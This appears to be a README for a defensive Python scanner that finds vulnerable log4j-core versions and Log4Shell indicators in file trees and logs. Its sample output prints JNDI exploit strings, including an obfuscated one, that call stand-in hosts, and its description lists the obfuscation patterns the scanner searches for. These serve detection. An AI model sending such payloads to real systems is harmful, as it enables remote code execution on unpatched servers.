
파일 시스템 트리에서 취약한 Log4j 버전 및 Log4Shell (CVE-2021-44228) 지표를 탐지하는 경량 스캐너입니다.
의존성 없는 방어용 Log4Shell 스캐너 — 취약한 log4j-core JAR 및 로그/설정에서 JNDI 익스플로잇 패턴을 찾습니다.
CERT-In 순환 근무 당시 위협 식별, 차단, 대응 및 위협 헌팅(threat hunting) 작업을 수행했습니다. 이는 2021년 12월 Log4Shell(CVE-2021-44228)이 대규모로 요구했던 정확한 워크플로우입니다. 즉, 모든 취약한 log4j-core 아티팩트를 플릿에서 찾고 로그에서 ${jndi:...} 익스플로잇 시도를 탐지하는 것입니다. 이 스캐너는 이러한 방어 워크플로우를 검사 대상 호스트에 아무것도 설치할 필요 없는 단일의 이식 가능한 표준 라이브러리 Python 스크립트로 재구성합니다.
.jar / .war / .ear 파일 찾기.pom.properties 및 MANIFEST.MF를 zipfile로 읽고, 파일 이름으로 대체; 실제 log4j-core와 관련 없는 JAR 구분.${jndi:ldap:// 및 일반적인 난독화 (${${lower:j}ndi:…}, 중괄호 분할 j}ndi:, ${::-j}) 검색.JndiLookup.class 제거, 추가로 이그레스 모니터링 안내.log4j-core-2.14.1.jar (log4j-core pom.properties를 포함한 실제 ZIP), 패치된 2.17.1.jar, 관련 없는 JAR, JNDI 페이로드가 포함된 로그.--demo — 샘플 트리를 빌드하고 전체를 스캔합니다.os, re, zipfile). 의존성 없음.Python 3 (표준 라이브러리만 사용: argparse, os, re, zipfile).
git clone https://github.com/arpitgupta369/log4shell-scanner.git
cd log4shell-scanner
python --version # Python 3.8+
# no dependencies to install
번들된 샘플 트리로 데모 실행:
python log4shell_scan.py --demo
예상 출력 (일부 생략):
--- Archives (log4j-core detection) ---
[ok] .../commons-lang3-3.12.0.jar
version: unknown (via no log4j-core detected)
[VULNERABLE] .../log4j-core-2.14.1.jar
version: 2.14.1 (via pom.properties (...))
!! CVE-2021-44228: Critical RCE via JNDI lookup (Log4Shell).
!! CVE-2021-45046: Incomplete fix; RCE/DoS in certain configs.
!! CVE-2021-45105: Uncontrolled recursion -> Denial of Service.
[ok] .../log4j-core-2.17.1.jar
version: 2.17.1 (via pom.properties (...))
--- Exploit-pattern matches (JNDI payloads in text/logs) ---
[MATCH] .../access.log (2 hit(s))
L2: ... "User-Agent: ${jndi:ldap://malicious-example.test:1389/a}"
L3: ... "X-Api: ${${lower:j}ndi:rmi://evil-example.test/b}"
--- Summary ---
Vulnerable archives: 1
Files with JNDI patterns: 1
평가 권한이 있는 디렉터리 스캔:
python log4shell_scan.py /path/to/deployed/app
프로세스 종료 코드는 취약하거나 의심스러운 항목이 발견되면 1, 깨끗하면 0입니다. CI/파이프라인 게이팅에 편리합니다.
언제든지 샘플 트리 재빌드:
python log4shell_scan.py --build-samples
log4shell-scanner/
├── log4shell_scan.py # scanner + sample-tree builder + CLI
├── samples/
│ └── app/
│ ├── libs/
│ │ ├── log4j-core-2.14.1.jar # fake VULNERABLE jar (real zip)
│ │ ├── log4j-core-2.17.1.jar # patched jar
│ │ └── commons-lang3-3.12.0.jar # unrelated jar
│ ├── logs/
│ │ └── access.log # contains JNDI payloads
│ └── config.properties # benign (should not match)
├── README.md
├── LICENSE
└── .gitignore
교육, 방어 및 승인된 사용 전용입니다. 승인 없이 시스템이나 아티팩트에 대해 실행하지 마십시오. 이 스캐너는 읽기와 패턴 매칭만 수행하며 어떤 것도 실행하거나 익스플로잇하지 않습니다. 번들된 샘플 JAR은 제작된 플레이스홀더이며 실제 Apache 아티팩트가 아니며, 모든 페이로드 호스트 이름은 라우팅 불가능한 .test 이름을 사용합니다. 버전-CVE 매핑은 참고용으로 제공됩니다. 공식 CVE 및 Apache Log4j 보안 권고를 확인하십시오.